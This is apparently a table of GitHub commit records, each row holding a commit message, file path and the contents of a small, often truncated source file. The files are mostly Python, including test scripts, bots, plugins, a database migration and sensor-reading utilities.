| agpl-3.0 | Python | |
5b456b6cdbd76b1e51548775ec0118a28db98ef2 | add test-backend script | skotep/webdev,skotep/webdev | sample/RiceBookServer/test-backend.py | sample/RiceBookServer/test-backend.py | #!/usr/bin/env python
import requests, json, sys, pprint
pp = pprint.PrettyPrinter(indent=4)
class cc:
HEADER = '\033[95m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def get(endpoint):
url = co... | apache-2.0 | Python | |
ce344f340682f81837ae5b71e7c9e17e276c953d | Create nxn.py | omergulen/brainhack17,omergulen/brainhack17,omergulen/brainhack17 | nxn/nxn.py | nxn/nxn.py | N = int(input())
liste = []
for i in range(0,N):
liste.append(list(map(int, input().split(" "))))
prisum = 0
secsum = 0
for i in range(0,N):
prisum += liste[i][i]
j = 0
for i in range(N-1,-1,-1):
secsum += liste[i][j]
j += 1
print(abs(prisum-secsum))
| mit | Python | |
257bc9e6538d8320603b29465a02000646833805 | Add a script to choose randomly from a list. I needed it to choose a random desktop background. | Byvire/python_scripts,Byvire/python_scripts | choose_random.py | choose_random.py | #!/usr/bin/env python3
import random
import sys
if __name__ == "__main__":
options = list(sys.stdin) # list of lines of text
print(random.choice(options), end='')
| mit | Python | |
271999dae2cd7f736b66c68f5e2454aac995a10d | Call `process()` from Python | juliangrosshauser/embed,juliangrosshauser/embed,juliangrosshauser/embed,juliangrosshauser/embed | embed.py | embed.py | from ctypes import cdll
lib = cdll.LoadLibrary("target/release/libembed.dylib")
lib.process()
| mit | Python | |
8ba799bccb479c757070104649d60819e627b507 | Add a search plugin for PtN | Danfocus/Flexget,dsemi/Flexget,v17al/Flexget,X-dark/Flexget,OmgOhnoes/Flexget,Flexget/Flexget,crawln45/Flexget,ZefQ/Flexget,ZefQ/Flexget,tobinjt/Flexget,qvazzler/Flexget,jacobmetrick/Flexget,sean797/Flexget,jawilson/Flexget,patsissons/Flexget,malkavi/Flexget,drwyrm/Flexget,X-dark/Flexget,cvium/Flexget,Pretagonist/Flexg... | flexget/plugins/search_ptn.py | flexget/plugins/search_ptn.py | from __future__ import unicode_literals, division, absolute_import
import logging
from flexget import plugin
from flexget.entry import Entry
from flexget.event import event
from flexget.utils import requests
from flexget.utils.imdb import extract_id
from flexget.utils.soup import get_soup
from flexget.utils.search imp... | mit | Python | |
9416747193dfd597bf15d855d4673cb5b16ce76e | Add python methods to handle api end-points | EdwinKato/bucket-list,EdwinKato/bucket-list,EdwinKato/bucket-list,EdwinKato/bucket-list,EdwinKato/bucket-list | api/api.py | api/api.py | from connexion.resolver import RestyResolver
from flask import current_app, request, abort, jsonify, g, url_for
from flask_httpauth import HTTPAuth
__all__ = ["login", "register", "add_bucket_list", "get_bucket_lists",
"get_bucket_list","put_bucket_list","delete_bucket_list",
"create_item_in_buck... | mit | Python | |
23d313aff58a34f44fc5addeffd015ac36b1c1be | Add a script that makes generating tests easier. | jpd002/ps2autotests,unknownbrackets/ps2autotests,jpd002/ps2autotests,jpd002/ps2autotests,unknownbrackets/ps2autotests,unknownbrackets/ps2autotests | gentest.py | gentest.py | import os
import re
import subprocess
import sys
import threading
# Note that PS2HOSTNAME is expected to be set in env.
PS2CLIENT = "ps2client"
MAKE = "make"
TEST_ROOT = "tests/"
TIMEOUT = 10
RECONNECT_TIMEOUT = 10
tests_to_generate = [
"cpu/ee/alu",
"cpu/ee/branch",
"cpu/ee/branchdelay",
]
class Comman... | isc | Python | |
b0dfbb63a306255bc08eae2e7dd9360ca56a366f | Add default value of access requests enabled to exsisting projects made before model added | aaxelb/osf.io,caseyrollins/osf.io,cslzchen/osf.io,sloria/osf.io,caseyrollins/osf.io,mfraezz/osf.io,mfraezz/osf.io,cslzchen/osf.io,icereval/osf.io,adlius/osf.io,mattclark/osf.io,erinspace/osf.io,felliott/osf.io,cslzchen/osf.io,brianjgeiger/osf.io,saradbowman/osf.io,Johnetordoff/osf.io,baylee-d/osf.io,Johnetordoff/osf.io... | osf/migrations/0100_set_access_request_enabled.py | osf/migrations/0100_set_access_request_enabled.py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.11 on 2018-04-30 18:34
from __future__ import unicode_literals
from django.db import migrations, models ,connection
from osf.models import AbstractNode
class Migration(migrations.Migration):
dependencies = [
('osf', '0099_merge_20180427_1109'),
]
... | apache-2.0 | Python | |
1c511dcc4156d68f84b97067433ca151f549df1b | Add test for protocol. | lndbrg/flowirc | flowirc/tests/test_IRCClientProtocol.py | flowirc/tests/test_IRCClientProtocol.py | from unittest import TestCase
from unittest.mock import Mock, patch, call, MagicMock
from flowirc.client import IRCClientProtocol
__author__ = 'olle.lundberg'
class TestIRCClientProtocol(TestCase):
def setUp(self):
self.proto = IRCClientProtocol()
self.transport = Mock()
def tearDown(self):... | mit | Python | |
2af3b158f1bc4f528f3d4aa7efb8cd595caca0a5 | Add dump/html add-on #69 (dump/html) | tadashi-aikawa/gemini | jumeaux/addons/dump/html.py | jumeaux/addons/dump/html.py | # -*- coding:utf-8 -*-
from bs4 import BeautifulSoup
from owlmixin import OwlMixin, TList
from jumeaux.addons.dump import DumpExecutor
from jumeaux.logger import Logger
from jumeaux.models import DumpAddOnPayload
logger: Logger = Logger(__name__)
LOG_PREFIX = "[dump/html]"
class Config(OwlMixin):
default_encod... | mit | Python | |
575fd05ace28ed392591228bfdb01f6e739eeff4 | Create RobotMemory.py | liammcinroy/RobotMemory | RobotMemory.py | RobotMemory.py | #-------------------------------------------------------------------------------
# Name: Robot Memory
# Purpose: Stores memory about where robot has been
#
# Author: Liam McInory
#
# Created: 06/03/2014
# Copyright: (c) Liam 2014
# Licence: GNU
#------------------------------------------------... | mit | Python | |
5579100489031b941617a93baef398212db23d6e | Update openerp | sysadminmatmoz/gantt_improvement,maljac/gantt_improvement,sysadminmatmoz/gantt_improvement,maljac/gantt_improvement,maljac/gantt_improvement,stephane-/gantt_improvement,maljac/gantt_improvement,sysadminmatmoz/gantt_improvement,stephane-/gantt_improvement,stephane-/gantt_improvement,stephane-/gantt_improvement,sysadminm... | __openerp__.py | __openerp__.py | {
'name': "Gantt Improvement",
'author' : 'Stéphane Codazzi @ TeMPO-Consulting',
'category': 'Project',
'sequence': 1,
'description': """
Gantt Improvement
=================
""",
'version': '0.3',
'depends': ['web', 'web_gantt'],
'js': [
'static/src/js/gantt.js',
'sta... | {
'name': "Gantt Improvement",
'author' : 'Stéphane Codazzi @ TeMPO-consulting',
'category': 'Project',
'sequence': 1,
'description': """
Gantt Improvement
=================
""",
'version': '0.3',
'depends': ['web', 'web_gantt'],
'js': [
'static/src/js/gantt.js',
'sta... | mit | Python |
718c31a54ce1637ef1ce9d2969a055f621c6dc7f | add MPPT benchmark | Kenneth-T-Moore/CADRE,OpenMDAO/CADRE | src/CADRE/benchmark/benchmark_mppt.py | src/CADRE/benchmark/benchmark_mppt.py | """ Optimization of the CADRE MDP."""
import os
import pickle
import numpy as np
from openmdao.components.indep_var_comp import IndepVarComp
from openmdao.core.component import Component
from openmdao.core.group import Group
from openmdao.core.problem import Problem
from openmdao.core.parallel_group import ParallelGro... | apache-2.0 | Python | |
64184fa97e9bc55dc50ed492b0b03896a7f5328d | Add degree_size | jhanley634/testing-tools,jhanley634/testing-tools,jhanley634/testing-tools,jhanley634/testing-tools,jhanley634/testing-tools,jhanley634/testing-tools,jhanley634/testing-tools | problem/pop_map/grid/degree_size.py | problem/pop_map/grid/degree_size.py | #! /usr/bin/env python
# Copyright 2020 John Hanley.
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, me... | mit | Python | |
b861ce4ca77f66eca61363855003aa508b0d6421 | add api call script | aliceranzhou/geovibes,aliceranzhou/geovibes,aliceranzhou/geovibes | scripts/api_calls.py | scripts/api_calls.py | # -*- coding: utf-8 -*-
import requests
import json
from collections import namedtuple
'''
NEWS
====
value: [
{
name: string
url: string
image: { thumbnail:
{ contentUrl: string
width: int
height: int
}
}
description: string
about: [ { readLink: string
... | mit | Python | |
aa1fbbaca3e26904855a33014c5077867df54342 | Add Vetinari example | quasipedia/swaggery,quasipedia/swaggery | examples/vetinari/vetinari.py | examples/vetinari/vetinari.py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
'''A Lord Vetinari clock API.'''
from time import strftime, localtime, time
from random import randint
from uwsgi import async_sleep as sleep
from swaggery.keywords import *
class TickStream(Model):
'''A stream of clock ticks.'''
schema = {
'type': 'a... | agpl-3.0 | Python | |
eb8f749b2094d61737af496fb6e6c90bad423761 | add disk_usage.py example script | tamentis/psutil,tamentis/psutil | examples/disk_usage.py | examples/disk_usage.py | #!/usr/bin/env python
"""
List all mounted disk partitions a-la "df" command.
"""
import sys
import psutil
def convert_bytes(n):
if n == 0:
return "0B"
symbols = ('k', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y')
prefix = {}
for i, s in enumerate(symbols):
prefix[s] = 1 << (i+1)*10
for s in... | bsd-3-clause | Python | |
5721ec07b9a40d2f8f5e04bd2c37c1e015fb99df | add an example client, nsq_to_nsq.py | protoss-player/pynsq,svmehta/pynsq,bitly/pynsq,pombredanne/pynsq,bitly/pynsq,elubow/pynsq,nsqio/pynsq,mreiferson/pynsq,protoss-player/pynsq,goller/pynsq,virtuald/pynsq,jonmorehouse/pynsq,virtuald/pynsq,mreiferson/pynsq,jehiah/pynsq,jonmorehouse/pynsq | examples/nsq_to_nsq.py | examples/nsq_to_nsq.py | # nsq_to_nsq.py
# Written by Ryder Moody and Jehiah Czebotar.
# Slower than the golang nsq_to_nsq included with nsqd, but useful as a
# starting point for a message transforming client written in python.
import tornado.options
from nsq import Reader, run
from nsq import Writer, Error
import functools
import logging
fr... | mit | Python | |
39c50fe7d4713b9d0a8e4618a829d94b4fe7456c | Add code to test van der pol model | synergetics/nest_expermiments,synergetics/nest_expermiments | van_der_pol_sync.py | van_der_pol_sync.py |
from __future__ import division
import sys
import numpy as np
sys.path.append('/media/ixaxaar/Steam/src/nest/local/lib/python2.7/site-packages/')
import nest
import nest.raster_plot
import nest.voltage_trace
import uuid
import pylab
nest.SetKernelStatus({"resolution": .001})
u = uuid.uuid4()
nest.CopyModel('ac_gene... | mit | Python | |
161802f87065a6b724c8c02357edf8cbb5b38f1a | Add a rosenbrock example. | lmjohns3/downhill,rodrigob/downhill | examples/rosenbrock.py | examples/rosenbrock.py | import climate
import downhill
import matplotlib.pyplot as plt
import matplotlib.animation as anim
import mpl_toolkits.mplot3d.axes3d
import numpy as np
import theano
import theano.tensor as TT
climate.enable_default_logging()
_, ax = plt.subplots(1, 1)
# run several optimizers for comparison.
for i, (algo, label, ... | mit | Python | |
5aca812341fa16f0d31fcf6f43f1c937a81c2141 | Create supervised.py | txt/fss17,txt/fss17,txt/fss17 | examples/supervised.py | examples/supervised.py |
""" Part 1 """
# Load data
import numpy as np
from sklearn import datasets
iris = datasets.load_iris()
iris_X = iris.data
iris_y = iris.target
print(iris.feature_names)
print(iris.target_names)
print(np.unique(iris_y))
# Visualize data
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
X = iri... | bsd-3-clause | Python | |
d14130c30f776d9b10ab48c993096dce251aba28 | Add script to get list of HRS station IDs | amacd31/hydromet-toolkit,amacd31/hydromet-toolkit | get_hrs_cc_streamflow_list.py | get_hrs_cc_streamflow_list.py | import pandas as pd
from kiwis_pie import KIWIS
k = KIWIS('http://www.bom.gov.au/waterdata/services')
def get_cc_hrs_station_list(update = False):
"""
Return list of station IDs that exist in HRS and are supplied by providers that license their data under the Creative Commons license.
:param upda... | bsd-3-clause | Python | |
cbb7fd7d31bf103e0e9c7b385926b61d42dbb8ec | add __main__ file | firemark/homework-parser | homework_parser/__main__.py | homework_parser/__main__.py | from homework_parser.file_parser import detect_plugin
from sys import argv, stdin, stdout, stderr, exit
if __name__ == "__main__":
in_format = argv[1]
out_format = argv[2]
out_plugin = detect_plugin(out_format)
if out_plugin is None:
print >> stderr, ('out-plugin %s not found' % out_format)
... | mit | Python | |
de5c4e57ccedf0b5c9897bc2046b79ac19a18a0c | add solution for Remove Duplicates from Sorted List | zhyu/leetcode,zhyu/leetcode | src/removeDuplicatesFromSortedList.py | src/removeDuplicatesFromSortedList.py | # Definition for singly-linked list.
# class ListNode:
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution:
# @param head, a ListNode
# @return a ListNode
def deleteDuplicates(self, head):
p1 = head
while p1:
p2 = p1.next
w... | mit | Python | |
aec88e4f9cf2d9ee7f9fe876a7b884028b6c190c | Add Script to generate a container schema from DockerFile | webdevops/Dockerfile,webdevops/Dockerfile,webdevops/Dockerfile,webdevops/Dockerfile,webdevops/Dockerfile,webdevops/Dockerfile | bin/buildHierarchiqueDiagram.py | bin/buildHierarchiqueDiagram.py | #!/usr/bin/env/python
from datetime import datetime
import os
import argparse
import re
from graphviz import Digraph
PATH = os.path.dirname(os.path.abspath(__file__))
FROM_REGEX = re.compile(ur'^FROM\s+(?P<image>[^:]+)(:(?P<tag>.+))?', re.MULTILINE)
CONTAINERS = {}
def get_current_date():
import dat... | mit | Python | |
77b7b4603466c390bf2dc61428c64e85f7babbb0 | create a new file test_cut_milestone.py | WheatonCS/Lexos,WheatonCS/Lexos,WheatonCS/Lexos | test/unit_test/test_cut_milestone.py | test/unit_test/test_cut_milestone.py | from lexos.processors.prepare.cutter import cut_by_milestone
class TestMileStone:
def test_milestone_regular(self):
text_content = "The bobcat slept all day.."
milestone = "bobcat"
assert cut_by_milestone(text_content, milestone) == ["The ",
... | mit | Python | |
3284a384a4147857c16462c0fde6a4dec39de2b7 | Read temperature | AnaviTech/anavi-examples,AnaviTech/anavi-examples | 1-wire/ds18b20/python/ds18b20.py | 1-wire/ds18b20/python/ds18b20.py | import glob
import time
base_dir = '/sys/bus/w1/devices/'
device_folder = glob.glob(base_dir + '28*')[0]
device_file = device_folder + '/w1_slave'
def read_temp_raw():
f = open(device_file, 'r')
lines = f.readlines()
f.close()
return lines
def read_temp():
lines = read_temp_raw()
while lines[0].strip()[-3:] !=... | mit | Python | |
89a65c75ade2629e2b67a9887e27a177617dd39e | add armes | PolySlug/polyslug | armes/armes.py | armes/armes.py | class Arme(object) :
def __init__(self):
'''Caracteristiques de la classe arme'''
pass
def tirer(self, position, vecteur) :
'''cree et envoie un projectile dans une direction'''
pass | mit | Python | |
244b7a3b8d3bd32517effdd4b7bab35628a6db61 | move init db | anokata/pythonPetProjects,anokata/pythonPetProjects,anokata/pythonPetProjects,anokata/pythonPetProjects | flask_again/init_db.py | flask_again/init_db.py | from aone_app.db import init_db
init_db()
| mit | Python | |
d054178a75caecfb20a5c4989dc4e9cd7bf4a853 | add grayscale conversion test - refs #1454 | qianwenming/mapnik,garnertb/python-mapnik,Airphrame/mapnik,lightmare/mapnik,Uli1/mapnik,zerebubuth/mapnik,mapycz/python-mapnik,stefanklug/mapnik,Mappy/mapnik,rouault/mapnik,rouault/mapnik,yohanboniface/python-mapnik,pramsey/mapnik,Uli1/mapnik,kapouer/mapnik,mbrukman/mapnik,stefanklug/mapnik,mapycz/mapnik,lightmare/mapn... | tests/python_tests/grayscale_test.py | tests/python_tests/grayscale_test.py | import mapnik
from nose.tools import *
def test_grayscale_conversion():
im = mapnik.Image(2,2)
im.background = mapnik.Color('white')
im.set_grayscale_to_alpha()
pixel = im.get_pixel(0,0)
eq_((pixel >> 24) & 0xff,255);
if __name__ == "__main__":
[eval(run)() for run in dir() if 'test_' in run]
| lgpl-2.1 | Python | |
a76d8287d5ad0b9d43c4b509b2b42eb0a7fa03a2 | Add asyncio slackbot | voidabhi/python-scripts,voidabhi/python-scripts,voidabhi/python-scripts,voidabhi/python-scripts,voidabhi/python-scripts | slackbot_asyncio.py | slackbot_asyncio.py | import asyncio
import json
import signal
import aiohttp
from config import DEBUG, TOKEN
import websockets
RUNNING = True
async def api_call(method, data=None, file=None, token=TOKEN):
"""Perform an API call to Slack.
:param method: Slack API method name.
:param type: str
:param data: Form data to... | mit | Python | |
f4ed2ec503bc12fe645b6d79a330787d2dde6c8e | Bump version 0.15.0rc7 --> 0.15.0rc8 | zestyr/lbry,lbryio/lbry,zestyr/lbry,lbryio/lbry,zestyr/lbry,lbryio/lbry | lbrynet/__init__.py | lbrynet/__init__.py | import logging
__version__ = "0.15.0rc8"
version = tuple(__version__.split('.'))
logging.getLogger(__name__).addHandler(logging.NullHandler())
| import logging
__version__ = "0.15.0rc7"
version = tuple(__version__.split('.'))
logging.getLogger(__name__).addHandler(logging.NullHandler())
| mit | Python |
1f1da12d49b9aa9b28a937fdf877bb990eb0bd2a | add convenience script to sync local from test | DOAJ/doaj,DOAJ/doaj,DOAJ/doaj,DOAJ/doaj | scratchpad/sync/sync_from_remote.py | scratchpad/sync/sync_from_remote.py | import esprit
from portality.core import app
remote = esprit.raw.Connection("http://ooz.cottagelabs.com:9200", "doaj")
local = esprit.raw.Connection("http://localhost:9200", "doaj")
esprit.tasks.copy(remote, "journal", local, "journal")
esprit.tasks.copy(remote, "account", local, "account")
esprit.tasks.copy(remote, ... | apache-2.0 | Python | |
9d7166e489b425acd64e1294236a821d76270cfc | Create letter_game_v1.1.py | hrahadiant/mini_py_project | letter_game_v1.1.py | letter_game_v1.1.py | # only guess a single letter
# only guess an alphabetic
# user can play again
# strikes max up to 7
# draw guesses letter, spaces, and strikes
import random
words = [
'cow',
'cat',
'crocodile',
'lion',
'tiger',
'mouse',
'goat',
'giraffe',
'elephant',
'dear',
'eagle',
'b... | apache-2.0 | Python | |
e1021970c445acd8ba3acc24294611bebc63bc5a | test if weather forecast saves data in the db | SEC-i/ecoControl,SEC-i/ecoControl,SEC-i/ecoControl | server/forecasting/tests/test_weather_forecast.py | server/forecasting/tests/test_weather_forecast.py | #import unittest
from server.forecasting.forecasting.weather import WeatherForecast
from django.test import TestCase
#from server.models import Device, Sensor, SensorEntry
''''class ForecastingTest(unittest.TestCase):
def test_test(self):
cast = WeatherForecast()
'''
class ForecastingDBTest(TestCase):
def test_cra... | mit | Python | |
7f9b2cfc5605333960b20d1f0c151d966819a53b | correct SQL bug with metadata update | akrherz/idep,akrherz/dep,akrherz/dep,akrherz/idep,akrherz/idep,akrherz/idep,akrherz/dep,akrherz/dep,akrherz/dep,akrherz/idep,akrherz/idep | scripts/RT/flowpathlength_totals.py | scripts/RT/flowpathlength_totals.py | """Examination of erosion totals vs flowpath length"""
import pandas as pd
import os
import datetime
import multiprocessing
import sys
import numpy as np
import psycopg2
from tqdm import tqdm
from pyiem import dep as dep_utils
def find_huc12s():
"""yield a listing of huc12s with output!"""
pgconn = psycopg2.c... | mit | Python | |
f7d88f43779f94dc2623e4726bd50f997104865f | add compress-the-string | zeyuanxy/hacker-rank,EdisonCodeKeeper/hacker-rank,zeyuanxy/hacker-rank,EdisonAlgorithms/HackerRank,EdisonAlgorithms/HackerRank,EdisonCodeKeeper/hacker-rank,EdisonCodeKeeper/hacker-rank,EdisonCodeKeeper/hacker-rank,zeyuanxy/hacker-rank,EdisonAlgorithms/HackerRank,EdisonAlgorithms/HackerRank,zeyuanxy/hacker-rank,EdisonAl... | contest/pythonist3/compress-the-string/compress-the-string.py | contest/pythonist3/compress-the-string/compress-the-string.py | # -*- coding: utf-8 -*-
# @Author: Zeyuan Shang
# @Date: 2016-05-13 12:35:11
# @Last Modified by: Zeyuan Shang
# @Last Modified time: 2016-05-13 12:35:16
from itertools import groupby
s = raw_input()
for k, g in groupby(s):
print '({}, {})'.format(len(list(g)), k), | mit | Python | |
bf7bfce64b2964cd6adb515788420747fcbedeae | Add an app.wsgi just in case | markpasc/leapreader,markpasc/leapreader | app.wsgi | app.wsgi | #!/usr/bin/env python
import itty
import leapreader
app = itty.handle_request
| mit | Python | |
ada3083c38fe75f139079e93b7c544540fe95e1a | add sources/ package | IuliiSe/openinterests.eu,IuliiSe/openinterests.eu,civicdataeu/openinterests.eu,yaph/openinterests.eu,yaph/openinterests.eu,civicdataeu/openinterests.eu,IuliiSe/openinterests.eu,civicdataeu/openinterests.eu | sources/__init__.py | sources/__init__.py | import sqlaload as sl
from lobbyfacts.core import app
def etl_engine():
return sl.connect(app.config.get('ETL_URL'))
| mit | Python | |
78a8fef6123b81011b3d896af69470d249570b05 | Add ls.py | chrhsmt/system_programming,chrhsmt/system_programming,chrhsmt/system_programming,chrhsmt/system_programming | kadai3/ls.py | kadai3/ls.py | # -*- coding: utf-8 -*-
import sys
import os
import time
import argparse
import re
from tarfile import filemode
import pwd
import grp
parser = argparse.ArgumentParser()
parser.add_argument("path",
metavar="path",
nargs="?",
default="",
... | mit | Python | |
0223ae91b669ce12b16d8b89456f3291eeed441e | Add log command. | kivhift/qmk,kivhift/qmk | src/commands/log.py | src/commands/log.py | #
# Copyright (c) 2012 Joshua Hughes <kivhift@gmail.com>
#
import os
import subprocess
import tempfile
import threading
import qmk
import pu.utils
class LogCommand(qmk.Command):
'''Make log entries using restructured text.'''
def __init__(self):
super(LogCommand, self).__init__(self)
self._nam... | mit | Python |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.